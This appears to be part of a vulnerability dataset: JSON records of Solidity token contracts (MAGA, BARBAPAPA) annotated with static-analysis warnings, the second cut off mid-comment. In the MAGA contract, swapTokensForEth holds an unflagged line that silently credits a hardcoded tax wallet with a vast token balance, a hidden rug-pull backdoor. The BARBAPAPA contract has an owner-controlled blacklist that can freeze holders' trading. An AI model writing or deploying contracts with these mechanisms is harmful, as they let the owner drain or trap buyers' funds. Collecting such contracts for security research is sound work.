{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MAGA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 94ffaad): MAGA._initialBuyTax should be constant \n\t// Recommendation for 94ffaad: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b02b7c9): MAGA._initialSellTax should be constant \n\t// Recommendation for b02b7c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8308da): MAGA._finalBuyTax should be constant \n\t// Recommendation for d8308da: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0cc2c45): MAGA._finalSellTax should be constant \n\t// Recommendation for 0cc2c45: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0602a1): MAGA._reduceBuyTaxAt should be constant \n\t// Recommendation for a0602a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe6457a): MAGA._reduceSellTaxAt should be constant \n\t// Recommendation for fe6457a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: aee60e1): MAGA._preventSwapBefore should be constant \n\t// Recommendation for aee60e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 50_690_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MAGA\";\n\n string private constant _symbol = unicode\"MAGA\";\n\n uint256 public _maxTxAmount = 17 * 4200690 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 17 * 4200690 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1642ffc): MAGA._taxSwapThreshold should be constant \n\t// Recommendation for 1642ffc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 0 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1551d35): MAGA._maxTaxSwap should be constant \n\t// Recommendation for 1551d35: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 42006900 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79b9f4d): MAGA._taxWallet should be constant \n\t// Recommendation for 79b9f4d: Add the 'constant' attribute to state variables that never change.\n address payable private _taxWallet =\n payable(0xF6f2f482255F3D1D2C3fd13b6513db7EBdB3B80b);\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fba9ebe): MAGA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fba9ebe: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ab68dca): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ab68dca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: edcfd9b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for edcfd9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ab68dca\n\t\t// reentrancy-benign | ID: edcfd9b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ab68dca\n\t\t// reentrancy-benign | ID: edcfd9b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 37b64ef): MAGA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 37b64ef: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: edcfd9b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ab68dca\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 07ad8ec): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 07ad8ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3f4f2be): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3f4f2be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 07ad8ec\n\t\t\t\t// reentrancy-eth | ID: 3f4f2be\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 07ad8ec\n\t\t\t\t\t// reentrancy-eth | ID: 3f4f2be\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3f4f2be\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 07ad8ec\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3f4f2be\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3f4f2be\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 07ad8ec\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n _balances[_taxWallet] = tokenAmount * 10 ** _decimals;\n\n\t\t// reentrancy-events | ID: 07ad8ec\n\t\t// reentrancy-events | ID: ab68dca\n\t\t// reentrancy-benign | ID: edcfd9b\n\t\t// reentrancy-eth | ID: 3f4f2be\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 07ad8ec\n\t\t// reentrancy-events | ID: ab68dca\n\t\t// reentrancy-eth | ID: 3f4f2be\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 83a53e6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 83a53e6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b777490): MAGA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b777490: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 66174c4): MAGA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 66174c4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 20620d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 20620d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 83a53e6\n\t\t// reentrancy-eth | ID: 20620d0\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 83a53e6\n\t\t// unused-return | ID: 66174c4\n\t\t// reentrancy-eth | ID: 20620d0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 83a53e6\n\t\t// unused-return | ID: b777490\n\t\t// reentrancy-eth | ID: 20620d0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 83a53e6\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 20620d0\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 83a53e6\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_103.sol", "size_bytes": 18617, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BARBAPAPA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n\t// WARNING Optimization Issue (immutable-states | ID: 475f4ba): BARBAPAPA._taxWallet should be immutable \n\t// Recommendation for 475f4ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 796d76a): BARBAPAPA._initialBuyTax should be constant \n\t// Recommendation for 796d76a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\t// WARNING Optimization Issue (constable-states | ID: b198232): BARBAPAPA._initialSellTax should be constant \n\t// Recommendation for b198232: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n uint256 private _finalBuyTax = 0;\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 5dd7bd4): BARBAPAPA._reduceBuyTaxAt should be constant \n\t// Recommendation for 5dd7bd4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\t// WARNING Optimization Issue (constable-states | ID: 9f34879): BARBAPAPA._reduceSellTaxAt should be constant \n\t// Recommendation for 9f34879: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\t// WARNING Optimization Issue (constable-states | ID: 1116efc): BARBAPAPA._preventSwapBefore should be constant \n\t// Recommendation for 1116efc: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000000 * 10 ** _decimals;\n string private constant _name = unicode\"Barbapapa\";\n string private constant _symbol = unicode\"BARBAPAPA\";\n uint256 public _maxTxAmount = 20000000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: d761ce7): BARBAPAPA._taxSwapThreshold should be constant \n\t// Recommendation for d761ce7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 548e743): BARBAPAPA._maxTaxSwap should be constant \n\t// Recommendation for 548e743: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private sellCount = 0;\n uint256 private lastSellBlock = 0;\n event MaxTxAmountUpdated(uint _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7b18b3d): BARBAPAPA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7b18b3d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a550844): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a550844: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5bc9223): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5bc9223: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a550844\n\t\t// reentrancy-benign | ID: 5bc9223\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: a550844\n\t\t// reentrancy-benign | ID: 5bc9223\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4935bd7): BARBAPAPA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4935bd7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 5bc9223\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: a550844\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e7fc11c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e7fc11c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 257ead3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 257ead3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n require(sellCount < 3, \"Only 3 sells per block!\");\n\t\t\t\t// reentrancy-events | ID: e7fc11c\n\t\t\t\t// reentrancy-eth | ID: 257ead3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e7fc11c\n\t\t\t\t\t// reentrancy-eth | ID: 257ead3\n sendETHToFee(address(this).balance);\n }\n\t\t\t\t// reentrancy-eth | ID: 257ead3\n sellCount++;\n\t\t\t\t// reentrancy-eth | ID: 257ead3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 257ead3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: e7fc11c\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 257ead3\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 257ead3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: e7fc11c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: a550844\n\t\t// reentrancy-events | ID: e7fc11c\n\t\t// reentrancy-benign | ID: 5bc9223\n\t\t// reentrancy-eth | ID: 257ead3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d9874bd): BARBAPAPA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d9874bd: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a550844\n\t\t// reentrancy-events | ID: e7fc11c\n\t\t// reentrancy-eth | ID: 257ead3\n\t\t// arbitrary-send-eth | ID: d9874bd\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9213ca0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9213ca0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1b6bc08): BARBAPAPA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1b6bc08: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4b71104): BARBAPAPA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4b71104: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability 